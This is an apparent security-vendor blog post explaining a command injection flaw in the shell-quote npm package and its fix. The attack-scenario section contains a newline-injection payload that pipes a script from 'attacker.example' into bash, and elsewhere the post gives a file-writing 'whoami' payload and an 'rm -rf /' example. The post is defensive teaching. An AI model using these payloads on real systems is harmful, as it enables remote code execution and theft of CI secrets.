Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the shell-quote npm package (version 1.8.3), caused by insufficient escaping of line terminator characters that allows attackers to break out of quoted shell arguments and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators, and pins the version via npm's `overrides` field in package.json to prevent transitive dependencies from pulling in the vulnerable version.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.8.4 and pin with npm overrides to prevent transitive re-introduction
riskArbitrary shell command execution if user-controlled strings are passed through shell-quote
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape newline and carriage-return characters, allowing injection of new shell commands
vulnerabilityCommand Injection via Unescaped Line Terminators

The Quiet Danger Inside Your Build Toolchain

Most developers think of command injection as a web-application problem — an attacker stuffing ; rm -rf / into a form field. But some of the most exploitable injection paths live inside the build and development toolchain, in small utility packages that are trusted implicitly because they are supposed to handle the dangerous escaping for you.

That is exactly the story of CVE-2026-9277 in shell-quote, one of the most widely downloaded npm packages for safely constructing shell command strings in Node.js. Version 1.8.3 contained a critical flaw: it did not escape line terminator characters (newline \n, carriage return \r). On most POSIX shells, a newline is just as effective a command separator as a semicolon — meaning any string that passed through shell-quote and contained a newline could silently inject a second, attacker-controlled command.


The Vulnerability Explained

What shell-quote is supposed to do

The shell-quote library exposes two primary functions:

const quote = require('shell-quote').quote;
const parse = require('shell-quote').parse;

// Safe construction of a shell command from user input
const cmd = quote(['grep', userInput, '/var/log/app.log']);
// Expected output: "grep 'user input here' /var/log/app.log"

The entire value proposition is that quote() will escape anything in userInput that could be interpreted as a shell metacharacter — single quotes, double quotes, backticks, dollar signs, semicolons, and so on. Downstream code trusts this output and passes it to a shell.

The missing escape: line terminators

In shell-quote 1.8.3 (the vulnerable version captured in package-lock.json), the escaping logic did not treat \n (U+000A LINE FEED) or \r (U+000D CARRIAGE RETURN) as special characters requiring escaping. On virtually every POSIX-compatible shell, a newline character inside a command string terminates the current command and begins a new one — identical in effect to a semicolon or &&.

Consider what happens when userInput is:

legitimate-search-term\nwhoami > /tmp/pwned

With shell-quote 1.8.3, quote(['grep', userInput, '/var/log/app.log']) would produce something like:

grep 'legitimate-search-term
whoami > /tmp/pwned' /var/log/app.log

The shell sees the embedded newline, terminates the grep command at that point, and executes whoami > /tmp/pwned as a completely separate command — with whatever privileges the Node.js process holds.

Why this is rated CRITICAL

The CVSS rating reflects several compounding factors:

  • No authentication required: any code path that feeds externally influenced data into quote() is potentially exposed.
  • Full command execution: the attacker is not limited to reading data; they can write files, exfiltrate secrets, install backdoors, or pivot to other systems.
  • Trusted library: developers explicitly chose shell-quote because they wanted safe escaping, so they are unlikely to add a second layer of validation.
  • Transitive exposure: shell-quote appears deep in many dependency trees (build tools, linters, test runners), so the vulnerable code may be present even in projects that never directly require('shell-quote').

Attack scenario

Imagine a Node.js CI helper script that takes a branch name from a webhook payload and uses it to run tests:

const { quote } = require('shell-quote'); // 1.8.3
const { execSync } = require('child_process');

function runTestsForBranch(branchName) {
  const cmd = quote(['npm', 'test', '--branch', branchName]);
  execSync(cmd, { shell: true });
}

An attacker who can influence branchName — via a forged webhook, a pull-request title, or a compromised upstream repository — sends:

main\ncurl https://attacker.example/shell.sh | bash

The shell-quote 1.8.3 output passes the newline through unescaped. execSync invokes a shell, which splits on the newline, runs npm test --branch main normally, and then silently executes the curl pipe. The CI runner's credentials, secrets, and network access are now in the attacker's hands.


The Fix

What changed in package-lock.json

The diff shows a targeted version bump for the node_modules/shell-quote entry:

-      "version": "1.8.3",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
-      "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+      "version": "1.8.4",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
+      "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",

Version 1.8.4 adds explicit escaping for line terminator characters so that \n and \r inside a quoted argument are rendered as the literal two-character sequences $'\n' or $'\r' (or equivalent safe representations), rather than being passed through verbatim. The shell therefore sees them as data inside a quoted string, not as command separators.

What changed in package.json — and why it matters

The second file change is equally important:

+  "overrides": {
+    "shell-quote": "1.8.4"
+  }

npm's overrides field (introduced in npm 8.3) forces every occurrence of shell-quote in the entire dependency tree — direct and transitive — to resolve to 1.8.4. Without this addition, updating the direct dependency is not enough: any transitive dependency that declares "shell-quote": "^1.8.0" or similar would still be free to resolve to 1.8.3. The override closes that gap unconditionally.

Before vs. after at a glance

Aspect Before (1.8.3) After (1.8.4)
Line terminators in input Passed through unescaped Escaped to safe representations
Transitive version control None Pinned via overrides
Integrity hash sha512-ObmnIF4h… sha512-VsC6n6vz…
Attack surface Newline injection possible Newline injection blocked

Prevention & Best Practices

1. Prefer argument arrays over shell strings

The safest way to avoid shell injection entirely is to never invoke a shell at all:

// RISKY — passes a string to a shell
execSync(quote(['grep', userInput, file]), { shell: true });

// SAFE — no shell involved; OS passes arguments directly
execFileSync('grep', [userInput, file]);

execFile and spawn (without shell: true) bypass the shell completely, making escaping libraries irrelevant for those call sites.

2. Keep quoting libraries current and pinned

  • Subscribe to security advisories for every dependency that touches shell construction (shell-quote, execa, cross-spawn, etc.).
  • Use overrides (npm) or resolutions (Yarn) to enforce safe versions across your entire dependency tree, not just at the top level.
  • Run npm audit or a dedicated scanner (Trivy, Snyk, Socket) in CI so new CVEs are caught before they reach production.

3. Validate input before it reaches the quoting layer

Even with a correct quoting library, a defense-in-depth approach validates that input matches an expected pattern before quoting it:

const SAFE_BRANCH = /^[a-zA-Z0-9._/-]{1,200}$/;

function runTestsForBranch(branchName) {
  if (!SAFE_BRANCH.test(branchName)) {
    throw new Error(`Unsafe branch name rejected: ${branchName}`);
  }
  execFileSync('npm', ['test', '--branch', branchName]);
}

4. Apply the principle of least privilege

Even if command injection succeeds, a process running as a low-privilege user with no network egress and read-only filesystem access severely limits the blast radius. Use containers, seccomp profiles, and minimal IAM roles for any process that handles untrusted input.

5. Reference standards

  • OWASP OS Command Injection Defense Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html
  • OWASP Top 10 A03:2021 – Injection: https://owasp.org/Top10/A03_2021-Injection/

Key Takeaways

  • Line terminators are shell metacharacters. Any escaping library that does not neutralize \n and \r is incomplete and exploitable — shell-quote 1.8.3 is a concrete example.
  • Updating package-lock.json alone is not enough. Without an overrides entry in package.json, transitive dependencies can silently re-resolve to the vulnerable version after the next npm install.
  • Trust but verify your quoting libraries. The fact that shell-quote exists to prevent injection does not mean every version of it is correct; treat it like any other security-critical dependency and pin it explicitly.
  • execFile / spawn without shell: true eliminates this entire class of risk for call sites where you control the executable name and can pass arguments as an array.
  • Static analysis caught what code review missed. Trivy flagged the vulnerable version in package-lock.json automatically — a reminder that automated scanning is a necessary complement to manual review for transitive dependency vulnerabilities.

How Orbis AppSec Detected This

  • Source: Any externally influenced string (HTTP request parameters, webhook payloads, environment variables, file contents) passed as an argument to shell-quote's quote() function.
  • Sink: The quote() call in shell-quote 1.8.3 (node_modules/shell-quote), whose output is subsequently passed to a shell via execSync, exec, or equivalent with { shell: true }.
  • Missing control: The escaping routine in shell-quote 1.8.3 did not include line terminator characters (\n, \r) in its set of characters requiring escaping, leaving a bypass for the library's core security guarantee.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Upgraded shell-quote from 1.8.3 to 1.8.4 in package-lock.json and added an overrides entry in package.json to enforce the safe version across all transitive dependencies.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a sharp reminder that security libraries are not immune to security vulnerabilities. shell-quote was adopted precisely to prevent command injection, yet a single missing character class — line terminators — was enough to make version 1.8.3 exploitable. The fix is straightforward: upgrade to 1.8.4 and use npm overrides to ensure no corner of your dependency tree can pull the vulnerable version back in. Longer term, prefer execFile with argument arrays over shell strings wherever possible, and integrate automated dependency scanning into your CI pipeline so the next CVE is caught before it ships.


References

Frequently Asked Questions

What is command injection?

Command injection is an attack where an adversary injects shell metacharacters into a string that is later passed to a shell interpreter, causing the shell to execute attacker-controlled commands alongside (or instead of) the intended ones.

How do you prevent command injection in Node.js?

Use parameterized APIs such as child_process.execFile() with argument arrays instead of shell strings, keep shell-quoting libraries up to date, and validate or reject input containing shell metacharacters including line terminators.

What CWE is command injection?

Command injection maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is escaping user input enough to prevent command injection?

Only if the escaping is complete and correct. CVE-2026-9277 shows that missing even one class of special characters — line terminators — is enough to break an otherwise well-intentioned escaping library.

Can static analysis detect command injection?

Yes. Tools like Trivy (which flagged this CVE), Semgrep, and Snyk can trace tainted data from user-controlled sources to dangerous shell execution sinks and flag missing or incomplete sanitization.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #138

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.